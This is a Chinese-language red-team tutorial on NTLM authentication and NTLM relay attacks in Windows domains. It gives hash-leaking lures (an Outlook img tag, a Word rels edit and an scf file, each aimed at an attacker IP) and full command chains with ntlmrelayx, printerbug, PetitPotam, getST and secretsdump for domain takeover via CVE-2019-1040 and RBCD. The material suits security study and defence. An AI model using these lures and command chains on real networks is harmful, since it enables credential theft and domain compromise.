ntlm認證及ntlm relay攻擊詳解

與NLTM認證相關的安全問題主要有Pass The Hash、利用NTLM進行信息收集、Net-NTLM Hash破解、NTLM Relay幾種。

PTH大家都比較熟悉了，運用mimikatz、impacket工具包的一些腳本、CS等等都可以利用，Net-NTLM Hash破解在實戰中用到的不多。所以本文主要詳細介紹NTLM Relay攻擊。

NTLM 認證

windows內部是不保存明文密碼的，只保存密碼的hash。

其中本機用戶的密碼hash是放在 本地的SAM文件(C:\Windows\system32\config\SAM) 里面，域內用戶的密碼hash是存在域控的NTDS.DIT文件 里面

NTLM HASH計算：

1.先將用戶密碼轉為十六進制格式。

2.將十六進制格式的密碼進行Unicode編碼。

3.使用MD4對Unicode編碼數據進行Hash。

NTLM 認證流程

這里存在兩種情況:

1.用戶使用本地賬戶的憑證,服務器在本地數據庫中擁有該賬戶的密碼,可以對用戶進行驗證.

2.在Active Directory中,用戶身份驗證期間使用域用戶,這個時候會要求域控制器對其用戶進行驗證.

NTLM協議的認證分為三步：

1、協商：主要用於確認雙方的協議版本(NTLM v1 or NTLM v2)

2、質詢：Challenge/Response

3、驗證：驗證結果。

完整過程：

質詢過程:

1、Client向服務端發送用戶信息（用戶名）請求，說明自己是誰。

2、Server接受到請求，用戶名存在，生成一個16位的隨機數（Challenge）發送給Client，使用登陸用戶對應的NTLM Hash加密的Challenge（16位隨機字符）生成Challenge1。//Net-NTLM Hash= NTLM Hash(Challenge)

3、Client接受到Challenge后，使用對應用戶的NTLM Hash加密Challenge生成Response，然后發送給Server。

驗證：

Server接收到Client的Respond后，對比Chanllenge1和Respond是否相等，相等則認證通過。

NTLM v1 與NTLM v2

Net-ntlm hash v1的格式為：
username::hostname:LM response:NTLM response:challenge

Net-ntlm hash v2的格式為：
username::domain:challenge:HMAC-MD5:blob

NTLM Relay

概念

NTLM Relay其實嚴格意義上並不能叫NTLM Relay，而是應該叫 Net-NTLM Relay。它是發生在NTLM認證的第三步，在 Type3 Response消息中存在Net-NTLM Hash，當攻擊者獲得了Net-NTLM Hash后，可以進行中間人攻擊，重放Net-NTLM Hash，這種攻擊手法也就是大家所說的NTLM Relay(NTLM 中繼)攻擊。

進行NTLM Relay攻擊有兩步：

• 第一步是獲取Net-NTLM Hash
• 第二步是重放Net-NTLM Hash

在有些文章中，你可能會看到smbrelay、httprelay等等名詞，

這里需要注意的是，ntlm是一個嵌入式的協議，消息的傳輸依賴於使用ntlm的上層協議，比如SMB,LDAP,HTTP等。在ntlm的上層協議是smb的情況下,ntlmrelay就是smbrelay，如果上層協議是http，我們也可以叫做http relay，但是都統稱ntlm relay。在本文，我們都統一叫做NTLM Relay

SMB簽名

NTLM Relay的一種常見用途是在域中通過relay到smb服務，將管理組成員中繼到一些敏感的機器上。

relay到smb服務要求被攻擊機器不能開啟SMB簽名，普通域內機器默認不是開啟的，但是域控是默認開啟的。

可以用Responder下的RunFinger.py腳本來檢測是否開啟smb簽名：

SMB簽名可以在注冊表中修改：

Microsoft 網絡客戶端：對通信進行數字簽名 (始終)
注冊表項： HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManWorkstation\Parameters
注冊表值 ：RequireSecuritySignature
數據類型：REG_DWORD
數據：0 (禁用) ，1 (啟用)

Microsoft 網絡服務器：對通信進行數字簽名 (始終)
注冊表項： HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters
注冊表值 ：RequireSecuritySignature
數據類型：REG_DWORD
數據：0 (禁用) ，1 (啟用)

Ldap簽名

除了relay到smb，relay到ldap也是很常用的，比如CVE-2018-8581和CVE-2019-1040就利用到了這一點。relay到ldap也是要求被攻擊機器不開啟ldap簽名的。

在默認情況下，ldap服務器就在域控里面，而且默認策略就是協商簽名。而不是強制簽名。也就是說是否簽名是有客戶端決定的。服務端跟客戶端協商是否簽名。(客戶端分情況，如果是smb協議的話，默認要求簽名的，如果是webadv或者http協議，是不要求簽名的)

本地安全策略->安全選項->網絡安全:LDAP 客戶端簽名要求

獲取Net-NTLM Hash

進行NTLM Relay攻擊的第一步我們首先要獲得這個Net-NTLM Hash值。那么如何能獲得這個Net-NTLM Hash值呢？思路是讓受害者把 Net-NTLM Hash 自己發送給攻擊者，也就是說只要是使用 SMB、HTTP、LDAP、MSSQL 等協議來進行 NTLM 認證的程序，都可以嘗試用來向攻擊者發送 Net-NTLM Hash

獲得Net-NTLM Hash值的思路很多，根據實際情況靈活運用

比如瀏覽器、office word文檔、pdf文檔、explorer、系統命令攜帶UNC路徑、XSS、MySQL等。如果新發現一個這類應用程序，或者發現這些程序的一種調用方法，就會多出一種攻擊手段。

詳細可參考：https://www.anquanke.com/post/id/193493

使用Responder來捕獲Net-NTLM Hash。Responder的用法可用參考：https://www.secpulse.com/archives/65503.html

smb請求直接用當前用戶名和密碼去登錄；

http請求，除非該站點的域名位於企業內部網或存在於可信站點列表中，否則都會跳出認證框來讓操作者再輸入一次。

下面演示幾種獲取Net-NTLM Hash的方式：

1 利用LLMNR和NBNS來獲取Net-NTLM Hash

windows的系統解析順序為：

1、本地hosts文件:%windir%\System32\drivers\etc\hosts 
2、DNS緩存/DNS服務器 
3、鏈路本地多播名稱解析（LLMNR）和NetBIOS名稱服務（NBNS，NetBIOS Name Service）

NBNS 和 LLMNR 是Microsoft針對工作組和域設計的名稱解析協議，主要用於局域網中的名稱解析。當DNS解析失敗時，Windows系統會使用 NetBIOS 和 LLMNR 搜索名稱。這些協議只為本地連接設計。NetBIOS 和LLMNR在WindowsVista以后的系統中均實現，二者的主要區別在於：

• NetBIOS基於廣播，而LLMNR基於多播；

• NetBIOS在WindowsNT以后的所有操作系統上均可用，而只有WindowsVista和更高版本才支持LLMNR；

• LLMNR還支持IPv6，而NetBIOS不支持，因此，在啟用了IPv6，但對IPv6管理不如IPv4那樣細致的復雜網絡中，就可能發生更廣泛的攻擊

因此只要用戶輸入一個不能解析的名稱，由於本地hosts文件和DNS均不能正常解析該名稱。於是會發送LLMNR/NBNS數據包請求解析，攻擊者收到請求后告訴客戶端它是該名稱並要求客戶端發送Net-NTLM Hash進行認證，於是攻擊者就可以收到客戶端發來的Net-NTLM Hash了。

測試：

responder -I eth0 -rPv

2 利用打印機漏洞獲取Net-NTLM Hash

Windows的MS-RPRN協議用於打印客戶機和打印服務器之間的通信，默認情況下是啟用的。協議定義的RpcRemoteFindFirstPrinterChangeNotificationEx() 調用創建一個遠程更改通知對象，該對象監視對打印機對象的更改，並將更改通知發送到打印客戶端。任何經過身份驗證的域成員都可以連接到遠程服務器的打印服務（spoolsv.exe），並請求對一個新的打印作業進行更新，令其將該通知發送給指定目標。之后它會將立即測試該連接，即向指定目標進行身份驗證（攻擊者可以選擇通過Kerberos或NTLM進行驗證）。微軟表示這個bug是系統設計特點，無需修復。由於打印機是以system權限運行的，所以我們訪問打印機RPC，迫使打印機服務向我們發起請求，我們就能拿到目標機器用戶的Net-NTLM Hash。

如下，我們執行printerbug.py腳本，使用域內任意用戶訪問目標機器的打印機服務，此腳本會觸發SpoolService Bug，強制Windows主機通過MS-RPRNRPC接口向攻擊者進行身份驗證。因此我們能收到目標機器向我們發送Net-NTLMHash。

使用Responder監聽，就能接收到目標機器發來的Net-NTLM Hash了

3 Outlook

發送郵件是支持html的，而且outlook里面的圖片加載路徑又可以是UNC。於是我們構造payload：

<p>郵件發送測試...</p>
<img src="\\\\192.168.111.135\\test">

當目標使用的是Windows機器，並且使用的是Outlook客戶端打開該郵件的話

我們就能收到目標機器的Net-NTLM Hash。(responder監聽)

4 word

新建一個word，然后插入一張圖片

用壓縮軟件打開，進入word_rels，打開document.xml.rels，可以看到Target參數本來是本地的路徑

我們修改為UNC路徑，然后加上TargetMode=”External”

最后保存。

使用 responder監聽，當打開word的時候,我們就拿到net-ntlm hash

5 圖標

desktop.ini

每個文件夾底下都有個文件desktop.ini來指定文件夾圖標之類的。默認不可見。

我們首先去掉隱藏受保護的操作系統文件就可以看到

創建一個test文件夾，然后修改該文件夾的圖標為任何其他

就能在test文件夾下看到desktop.ini文件了

然后我們打開desktop.ini文件將圖標路徑改成UNC路徑，指向我們的服務器

在135機器上用responder監聽，當用戶訪問該文件夾的時候會去訪問UNC路徑,我們就能獲取用戶的net-ntlm hash：

scf文件

只要一個文件底下含有scf后綴的文件,由於scf文件包含了IconFile屬性，所以Explore.exe會嘗試獲取文件的圖標。而IconFile是支持UNC路徑的，所以當打開文件夾的時候，目標主機就會去請求指定UNC的圖標資源。於是我們像上面那樣修改UNC路徑，指向我們的服務器。然后用responder監聽

[Shell]
Command=2
IconFile=\\192.168.111.135\scf\scf.ico
[Taskbar]
Command=ToggleDesktop

當用戶訪問該文件夾的時候會去訪問UNC路徑,我們就能獲取用戶的net-ntlm hash：

用戶頭像

適用於Windows 10/server2016/server2019

在更改賬戶圖片處，輸入指定的UNC路徑，用responder監聽,我們就能抓到目標機器的當前用戶的Net-NTLM Hash了

如果是在域內，用普通用戶的權限指定一個webadv地址的圖片，如果普通用戶驗證圖片通過，那么system用戶(域內是機器用戶)也會去訪問192.168.111.135，並且攜帶憑據，我們就可以拿到機器用戶的Net-NTLM Hash，這個可以用來提權。

6 WPAD

WPAD(Web Proxy Auto-Discovery Protocol) Web代理自動發現協議是用來查找PAC(Proxy Auto-Config)文件的協議，其主要通過DHCP、DNS、LLMNR、NBNS協議來查找存放PAC文件的主機。PAC文件定義了瀏覽器和其他用戶代理如何自動選擇適當的代理服務器來訪問一個URL，通俗點說就是PAC文件中配置了代理服務器，用戶在訪問網頁時，首先會查詢PAC文件的位置，然后獲取PAC文件，將PAC文件作為代理配置文件。

瀏覽器查詢PAC文件的順序如下：

1. 通過DHCP服務器
2. 查詢WPAD主機的IP

- Hosts
- DNS (cache / server)
- LLMNR
- NBNS 

測試：

配合LLMNR/NBNS

python responder.py -I eth0 -r on -v -F on -w on

當受害者打開瀏覽器就會請求輸入域內賬號密碼

⭐7 CVE-2023-23397(Microsoft Outlook權限提升漏洞)

Microsoft Outlook權限提升漏洞(CVE-2023-23397)，未經身份驗證的遠程攻擊者可以向受害者發送特制的電子郵件，導致受害者連接到攻擊者控制的外部 UNC 位置。這會將受害者的 Net-NTLMv2 hash泄露給攻擊者，然后攻擊者可以將其中繼到另一個服務並作為受害者進行身份驗證。

值得注意的是，電子郵件服務器檢索和處理電子郵件時（例如在預覽窗格中查看電子郵件之前）會自動觸發漏洞。此漏洞影響范圍極大

POC:

https://github.com/api0cradle/CVE-2023-23397-POC-Powershell
https://github.com/sqrtZeroKnowledge/CVE-2023-23397_EXPLOIT_0DAY

利用——重放Net-NTLM Hash

在獲取到了目標機器的Net-NTLM Hash后，我們要怎么利用呢？這里有兩種利用方式：

1. 使用Hashcat破解Net-NTLM Hash。如果是v1的話，拿到Net-NTLM就相當於拿NTLM HASH.但是在實際中遇到的例子往往不會是v1，而是v2，這個時候密碼強度高一點，基本就跑不出來了
2. Relay Net-NTLM Hash

這里主要討論Relay Net-NTLM Hash。我們知道，由於NTLM只是底層的認證協議，必須鑲嵌在上層應用協議里面，消息的傳輸依賴於使用NTLM的上層協議，比如SMB、HTTP、LDAP等。因此，我們可以將獲取到的Net-NTLM Hash Relay到其他使用NTLM進行認證的應用上。

Relay To SMB

直接Relay到SMB服務器，是最直接簡單的方法。可以直接控制該服務器執行任意命令、dump hash等操作

這里根據工作組和域環境，有兩種場景：

1. 工作組環境：在工作組環境中，工作組中的機器之間相互沒有信任關系，每台機器的賬號密碼只是保存在自己的SAM文件中，這個時候Relay到別的機器，除非兩台機器的賬號密碼一樣，不然沒有別的意義了。但是如果賬號密碼相同的話，為何不直接Pass The Hash攻擊呢？因此在工作組環境下，Relay到其他機器不太現實。這個時候的攻擊手段就是將機器Relay回機子本身。因此微軟在ms08-068中對Relay到自身機器做了限制，嚴禁Relay到機器自身。CVE-2019-1384(Ghost Potato)就是繞過了該補丁。
2. 域環境：在域環境中，默認普通域用戶可以登錄除域控外的其他所有機器(但是為了安全，企業運維人員通常會限制域用戶登錄的主機)，因此可以將Net-NTLM Hash Relay到域內的其他機器。如果是拿到了域控機器的Net-NTLM Hash，可以Relay到除域控外的其他所有機器(為啥不Relay到其他域控，因為域內只有域控默認開啟SMB簽名)。

工作組

工作組環境下的NTLM Relay實用性比較差，主要涉及MS08-068、Ghost Potato(CVE-2019-1384)兩個漏洞，這里簡單介紹下

MS08-068

在這之前，當拿到用戶的smb請求之后，最直接的就是把請求Relay回用戶本身，即Reflect。從而控制機子本身。漏洞危害特別高。微軟在kb957097補丁里面通過修改SMB身份驗證答復的驗證方式來防止憑據重播，從而解決了該漏洞。

防止憑據重播的做法如下:

1. 在在質詢過程的第1階段，主機A訪問主機B進行SMB認證的時候，將 pszTargetName 設置為CIFS/B
2. 在第2階段，主機A拿到主機B發送的Challenge挑戰值之后，在lsass進程里面緩存(Challenge,CIFS/B)
3. 在第3階段，主機B在拿到主機A的認證消息之后，會去查詢lsass進程里面有沒有緩存(Challenge,CIFS/B)，如果存在緩存，那么認證失敗。

因為如果主機A和主機B是不同主機的話，那么lsass進程里面就不會緩存(Challenge,CIFS/B)。如果是同一台主機的話，那lsass里面就會緩存(Challenge,CIFS/B)，這個時候就會認證失敗。

Ghost Potato(CVE-2019-1384)

微軟為了修復MS08-068發布了kb957097補丁，來防止憑據重播。具體做法在上面已經介紹，然而在KB957097補丁措施里面這個緩存(Challenge,CIFS/B)是有時效性的，這個時間是300秒，也就是說300秒后，緩存(Challenge,cifs/B)就會被清空，這個時候即使主機A和主機B是同一台主機，那么由於緩存已經被清除，那么去lsass里面肯定找不到緩存(Challenge,cifs/B)。CVE-2019-1384就是利用這一點來進行攻擊的。

漏洞利用poc：

基於impacket進行修改，實現的效果是在目標機器的啟動目錄上傳指定的文件。該POC會在sleep 315秒之后再發送第三階段的認證消息，從而繞過了kb957097補丁。

POC：https://shenaniganslabs.io/files/impacket-ghostpotato.zip

只實現的收到http協議的情況。其他協議大家可以自己實現。

測試一下：

attacker: 192.168.111.139victim: 192.168.111.131

攻擊機運行如下命令，然后用受害者機器發起http請求：：

python ntlmrelayx.py -t smb://192.168.111.131 -smb2support --gpotato-startup test.txt

等待315秒，即可攻擊成功

域環境

impacket下的smbrelayx.py

#在VPS(192.168.111.135)上執行如下命令，攻擊192.168.111.131主機，並執行 whoami命令，會監聽本地80和445 端口，偽造 http 和 smb 服務./smbrelayx.py -h 192.168.111.131 -c whoami

然后通過釣魚或者其他手段誘導域管理員或域用戶訪問了紅隊人員偽造的 HTTP 或 SMB 服務（下面的兩個腳本也是一樣），例如：

smb請求直接用當前用戶名和密碼去登錄；

http請求，除非該站點的域名位於企業內部網或存在於可信站點列表中，否則都會跳出認證框來讓操作者再輸入一次。

此時就 Relay 成功獲取到 192.168.111.131 的 system 權限（當然只是 whoami 命令，實戰中可以直接遠程加載 powershell 或者其他手段反彈 Shell 到 C2）：

impacket下的ntlmrelayx.py

最常用的一個腳本。

python3 ntlmrelayx.py -h    #查看幫助文檔python3 ntlmrelayx.py -t smb://192.168.111.131 -c whoami -smb2support

Responder下的MultiRelay.py腳本

該腳本功能強大，通過ALL參數可以獲得一個穩定的shell，還有抓密碼等其他功能。

python3 MultiRelay.py -hpython3 MultiRelay.py -t 192.168.111.131 -u ALL

在域管機器上觸發之后，即可成功獲得shell:

Relay To EWS

Exchange認證也支持NTLM SSP的。我們可以relay到Exchange，從而收發郵件，代理等等。在使用outlook的情況下還可以通過homepage或者下發規則達到命令執行的效果。而且這種Relay還有一種好處，將Exchange開放在外網的公司並不在少數，我們可以在外網發起relay，而不需要在內網，這是最刺激的。

關於Relay To EWS詳細利用后面展開，主要是使用下面的腳本：

https://github.com/Arno0x/NtlmRelayToEWS

Relay To LDAP

relay到ldap有兩個經典的利用：CVE-2018-8581和CVE-2019-1040。我們將在后面詳細介紹這兩個漏洞。

relay到ldap主要有三個利用思路，在impacket里面的ntlmrelayx都有實現:

1、高權限用戶

如果NTLM發起用戶在以下用戶組

- Enterprise admins- Domain admins- Built-in Administrators- Backup operators- Account operators

那么就可以將任意用戶拉進該組，從而使該用戶成為高權限用戶，比如域管

2、write-acl權限

如果發起者對域有write-acl 權限，那么就可以在域內添加兩條acl：

'DS-Replication-Get-Changes'     = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

acl的受托人可以是任意用戶，從而使得該用戶可以具備dcsync的權限（對域對象只需要具備以上這兩個權限，就有dcsync的權限）。

下面兩個組里的用戶具備write-acl權限：

Exchange Windows PermissionsExchange Trusted Subsystem

Exchange Trusted Subsystem的成員包括Exchange機器用戶

也就是說，我們在拿到Exchange機器的http請求的時候，可以將請求Relay到Ldap,然后由於Exchange機器用戶具備Write-ACL權限，我們在域內給添加兩條acl，acl的受托人可以是任意用戶，從而使該用戶具備Dcsync的權限。然后dump 域管的hash進行pth，dump kebtgt的hash進行黃金票據，等等。

在后面小節《內網滲透大殺器CVE-2019-1040》漏洞的利用，就是根據這個原理來實現的。

3、普通用戶權限

在server2012r2之后，如果沒有以上兩個權限。可以通過設置基於資源的約束委派。

常見的利用方式為：

RBCD+printbug/petitpotam+CVE-2019-1040

(PetitPotam和PrinterBug調用的接口不一樣，但是都可以讓域內的服務器發起身份驗證)

在有輔助域的內網中，利用以上利用鏈，就能直接獲取到域控的權限。

RBCD+petitpotam+CVE-2019-1040見實踐部分的復現

RBCD+printbug+CVE-2019-1040可以看以下文章

https://www.anquanke.com/post/id/194514#h3-10

或者《域委派攻擊》筆記，這里不再展開

實踐

Exchange+CVE-2019-1040接管全域

怎么搭建復現環境可以參考這篇文章：

https://www.freebuf.com/vuls/274091.html

簡單來說，這個利用鏈，我們通過先打印機漏洞接收到請求機器 機器用戶的net-ntlm hash（請求機器可以是exchange機器，也可以是域管機器）。獲取到net-ntlm hash之后，考慮到都是機器用戶發起的請求，機器用戶並不能直接登錄，所以我們Relay到Ldap。

這里就有了兩種情況：

（1）請求機器是exchange機器：根據【Relay To LDAP】一節的描述，我們知道Exchange機器用戶具有write-acl權限，可以給任意用戶提權，賦予Dcsync的權限，從而dump出所有密碼哈希值。（2）請求機器是域管機器：這種情況下，由於他並不在域管組里面、能控制的acl也並不多，我們需要結合基於資源的約束委派來進行攻擊。

這里我們選擇第一種情況來進行演示分析。

還有一個需要考慮的點就是ldap簽名問題：

我們Relay到的服務端是Ldap,在前面【ldap簽名】一節提到，Ldap服務器的默認策略是協商簽名。是否簽名是由客戶端決定的。客戶端分情況，如果是smb協議的話，默認要求簽名的，如果是webadv或者http協議，是不要求簽名的

這里我們是通過打印機漏洞獲取的net-ntlm hash，發起的請求是Smb協議的請求，這也意味着我們客戶端默認是要求簽名的。所以我們需要進行繞過，這正是CVE-2019-1040漏洞的利用點。

客戶端將簽名與否的決定通過ntlm認證中的一個標志位來發送給服務端，因為發起者是smb協議，默認這個標志位為1，服務端會選擇進行簽名。但是如果我們修改為0的話，又因為微軟有一套MIC校驗機制，這將更改MIC的值，MIC將無效並且身份驗證將失敗。而CVE-2019-1040漏洞可繞過NTLM MIC的防護機制，以使我們修改標志位，來讓服務器不進行ldap簽名。

以下的所有敘述都是以上面描述為前提：

漏洞詳情

漏洞概述

2019年6月，Microsoft發布了一條安全更新。該更新針對CVE-2019-1040漏洞進行修復。此次漏洞，攻擊者可以通過中間人攻擊，繞過NTLM MIC（消息完整性檢查）保護，將身份驗證流量中繼到目標服務器。 通過這種攻擊使得攻擊者在僅有一個普通域賬號的情況下可以遠程控制 Windows 域內的任何機器，包括域控服務器。

利用條件

A、Exchange服務器可以是任何版本（包括為PrivExchange修補的版本）。唯一的要求是，在以共享權限或RBAC模式安裝，Exchange默認具有高權限。
B、域內任意賬戶。（由於能產生SpoolService錯誤的唯一要求是任何經過身份驗證的域內帳戶）
C、CVE-2019-1040漏洞的實質是NTLM數據包完整性校驗存在缺陷，故可以修改NTLM身份驗證數據包而不會使身份驗證失效。而此攻擊鏈中攻擊者刪除了數據包中阻止從SMB轉發到LDAP的標志。
D、構造請求使Exchange Server向攻擊者進行身份驗證，並通過LDAP將該身份驗證中繼到域控制器，即可使用中繼受害者的權限在Active Directory中執行操作。比如為攻擊者帳戶授予DCSync權限。
E、如果在可信但完全不同的AD林中有用戶，同樣可以在域中執行完全相同的攻擊。（因為任何經過身份驗證的用戶都可以觸發SpoolService反向連接）

漏洞利用攻擊鏈

1、使用域內任意帳戶，通過SMB連接到被攻擊ExchangeServer，並指定中繼攻擊服務器。同時必須利用SpoolService錯誤觸發反向SMB鏈接。
2、中繼服務器通過SMB回連攻擊者主機，然后利用ntlmrelayx將利用CVE-2019-1040漏洞修改NTLM身份驗證數據后的SMB請求據包中繼到LDAP。
3、使用中繼的LDAP身份驗證，此時Exchange Server可以為攻擊者帳戶授予DCSync權限。
4、攻擊者帳戶使用DCSync轉儲AD域中的所有域用戶密碼哈希值（包含域管理員的hash，此時已拿下整個域）。

漏洞復現

復現環境：

DC :      Windows server 2008 R2   192.168.111.134     WIN-1D09BAA27UF.yokan.comyokan.comExchange：Windows Server 2012     192.168.111.135      WIN-A5C3LTTJ4TK.yokan.com          yokan.com攻擊機：   Kali  192.168.111.129已獲得的普通域用戶： justtest  ***************

復現：

①執行ntlmrelayx.py腳本進行NTLM中繼攻擊，設置SMB服務器並將認證憑據中繼到LDAP協議。其中--remove-mic選項用於清除MIC標志，--escalate-user用於提升指定用戶權限。

./ntlmrelayx.py --remove-mic --escalate-user justtest -t ldap://192.168.111.134 -smb2support

② 執行printerbug.py腳本，觸發SpoolService的bug。

./printerbug.py yokan.com/justtest@192.168.111.135 192.168.111.129

③SpoolService的bug導致Exchange服務器回連到ntlmrelayx.py，即將認證信息發送到ntlmrelayx.py。可以在下圖中看到認證用戶是YOKAN/WIN-A5C3LTTJ4TK$ 。

接着ntlmrelayx.py開始執行LDAP攻擊。

④ 之后，justtest就可以通過secretsdump.py的DCSync功能dump出所有密碼哈希值：

也就是說 justtest用戶已經具有高權限了。

RBCD+petitpotam+CVE-2019-1040接管全域

利用PetitPotam，可以指定域內的一台服務器，並使其對攻擊者選擇的目標進行身份驗證。

而且在低版本(08和12)的情況下，可以匿名觸發，不需要域用戶。在16版本以上，就需要指定一個普通域用戶賬號和密碼了。

**復現： **

網文，本地域控是server08，復現不成功。

1、添加計算機賬戶

python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."

2、開啟中繼

python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug --delegate-access --escalate-user rbcd1\$ -smb2support --remove-mic

3、觸發PetitPotam

python3 Petitpotam.py 192.168.164.128 192.168.164.147 

（這里是server2012，不需要指定用戶名密碼）

PS 如果是server2016以上，觸發方式為：

python PetitPotam.py -u user1 -p Uu1234. -d test.com 192.168.164.128 192.168.164.147

4、獲取票據
這里我重新搭建了域環境，所以機器名變了

python3 getST.py -dc-ip 192.168.164.146 test/rbcd1\$:123456 -spn cifs/father2.test.com -impersonate administrator

5、 加載票據使用

export KRB5CCNAME=administrator.ccachepsexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com

secretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt

Outlook+NTLM Relay接管全域

NTLM Relay相關漏洞

除了上面提到的MS08-068、Ghost Potato(CVE-2019-1384)、CVE-2019-1040這幾個漏洞，potato提權系列(Hot potato[MS16-075]、Rotten potato&Juict potato 、Bad potato、Sweet potato)、CVE-2018-8581等漏洞也都有應用到了ntlmrelay，下面簡單介紹一下

potato提權系列

土豆系列的提權原理主要是誘導高權限訪問低權限的系統對象，導致低權限的對象可以模擬高權限對象的訪問 令牌（Access Token），進而可以用訪問令牌創建進程，達到代碼執行。

使用前提：

1、獲得了SeImpersonate或者SeAssignPrimaryToken權限

可以通過以下命令查看：whoami /priv

2、拿到的是一個服務賬號的權限(IISwebshell、sqlshell、mssqlshell)。

Hot potato[MS16-075]：

ntlm relay(http->smb)

Hot Potato是爛土豆作者的第一個發布版本。該漏洞主要通過配合NBNS投毒欺騙和偽造WPAD代理服務器拿到http形式的Net-NTML hash（MS08-068雖然限制了同台主機之間smb到smb的Relay，但是並沒有限制從http到smb），所以可以直接relay 到本機的smb。

通過該漏洞可以從主機低用戶權限提升至system權限。

Rotten potato&Juicy potato

Juicy potato是RottenPotato的基礎上做了擴展，適用條件更廣。

實現流程：

1、加載COM，發出請求，權限為System

在指定ip和端口的位置嘗試加載一個COM對象RottenPotato使用的COM對象為BITS，CLSID為{4991d34b-80a1-4291-83b6-3328366b9097}可供選擇的COM對象不唯一，Juicy Potato提供了多個

2、回應步驟1的請求，發起NTLM認證

正常情況下，由於權限不足，當前權限不是System，無法認證成功

3、針對本地端口，同樣發起NTLM認證，權限為當前用戶

由於權限為當前用戶，所以NTLM認證能夠成功完成RottenPotato使用的135端口Juicy Potato支持指定任意本地端口，但是RPC一般默認為135端口，很少被修改

4、分別攔截兩個NTLM認證的數據包，替換數據，通過NTLM重放使得步驟1(權限為System)的NTLM認證通過，獲得System權限的Token

重放時需要注意NTLM認證的NTLM Server Challenge不同，需要修正

5、利用System權限的Token創建新進程

如果開啟SeImpersonate權限，調用CreateProcessWithToken，傳入System權限的Token，創建的進程為System權限or如果開啟SeAssignPrimaryToken權限，調用CreateProcessAsUser，傳入System權限的Token，創建的進程為System權限

Bad potato

又叫PrintSpoofer /PipePotato

這也是一個經典的中繼手法。通過Windows named pipe的一個API:ImpersonateNamedPipeClient來模擬高權限客戶端的token，調用該函數后會更改當前線程的安全上下文。該漏洞主要利用了打印機組件的BUG，使SYSTEM權限服務能連接到攻擊者創建的named pipe。

Sweet potato

com、winrm、spoolsv的合集版本，也就是juicy potato+printspoofer

CVE-2018-8581

漏洞描述：

該漏洞利用了 Exchange 服務器的 SSRF 和高權限的請求，導致擁有合法郵箱憑證的用戶可以被提升至域管權限

影響范圍：

 Exchange Server 2010 Exchange Server 2013 Exchange Server 2016

利用條件：

Exchange 默認配置下，攻擊者擁有合法的郵箱用戶憑證，同時，該漏洞利用是通過 NTLM Relay的方式進行提權，因此攻擊者需要已經在內網環境中取得可用主機。

漏洞簡介：

該漏洞的發生源於幾個方面：

• 首先，Exchange 允許任意用戶（只要是通過了認證的）通過 EWS 接口來創建一個推送訂閱（Push Subscription），並可以指定任意 URL 作為通知推送的目的地；

• 其次，通知被訂閱推送后，當觸發推送時，Exchange 使用了 CredentialCache 類的 DefaultCredentials 屬性，由於 EWS 以 SYSTEM 權限運行，當使用 DefaultCredentials 時發出的 HTTP 請求將使用該權限發起 NTLM 認證；

• 在 EWS 請求中，通過在 Header 中使用 SerializedSecurityContext，指定 SID 可以實現身份偽裝，從而以指定用戶身份進行 EWS 調用操作。

也就是說【我們可以控制Exchange服務器向我們發起HTTP 協議的NTLM 請求，這樣我們就能拿到Exchange機器用戶的 Net-Ntlm Hash】

由於該漏洞利用涉及 NTLM 的重放攻擊，一種很容易想到的思路就是將該憑證重放到域控機器。由於重放的 NTLM 憑證來自 Exchange 服務器的機器用戶權限，根據Relay To LDAP一節的描述，我們知道Exchange機器用戶具有write-acl權限，可以給任意用戶提權，賦予Dcsync的權限，從而dump出所有密碼哈希值。

服務端是否要求簽名：

我們Relay到的服務端是Ldap,在前面【ldap簽名】一節提到，Ldap服務器的默認策略是協商簽名。是否簽名是由客戶端決定的。客戶端分情況，如果是smb協議的話，默認要求簽名的，如果是webadv或者http協議，是不要求簽名的

在這個漏洞里面發起的請求是http協議，這也就意味着我們什么都不用做，在這個漏洞中並不要求簽名。

EXP :

https://github.com/Ridter/Exchange2domain#也可以使用 ntlmrelayx.py+privexchange.py+secretdump.pyhttps://github.com/dirkjanm/privexchangehttps://github.com/SecureAuthCorp/impacket

復現可以參考這篇文章：

https://www.jianshu.com/p/e081082cbc73